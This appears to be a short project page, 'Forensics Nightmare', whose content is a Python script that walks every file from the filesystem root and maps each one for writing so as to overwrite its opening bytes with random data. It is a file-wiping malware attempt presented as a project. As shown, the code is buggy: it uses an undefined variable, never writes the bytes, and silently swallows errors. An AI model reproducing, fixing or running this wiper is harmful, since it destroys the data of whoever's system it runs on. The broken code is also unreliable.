Cyber Security Projects
Origin
Overview
Forensics Nightmare
import mmap
import random
import numpy as np
import os
import subprocess
def main():
#subproccess.run('pip3 install mmap')
path = "/"
#we shall store all the file names in this list
filelist = []
print("starting up")
for root, dirs, files in os.walk(path): # Finds all the files on the system
for file in files:
#append the file name to the list
filelist.append(os.path.join(root,file))
print("loading......")
if True:
for f in filelist: # Iterates through the files and rewrites the beginning bytes
try:
file_obj = open(f, mode='r+')
mmap_obj = mmap.mmap(file_obj.fileno(),length=0,access=mmap.ACCESS_WRITE,offset=0)
file_size = os.path.getsize(filepath)
startint = 50
endint = 150
if file_size < 100:
endint = file_size
startint = file_size / 2
rep_len = random.randint(startint, endint)
randbytes = np.random.bytes(rep_len)
except:
pass
main()TBD
Last updated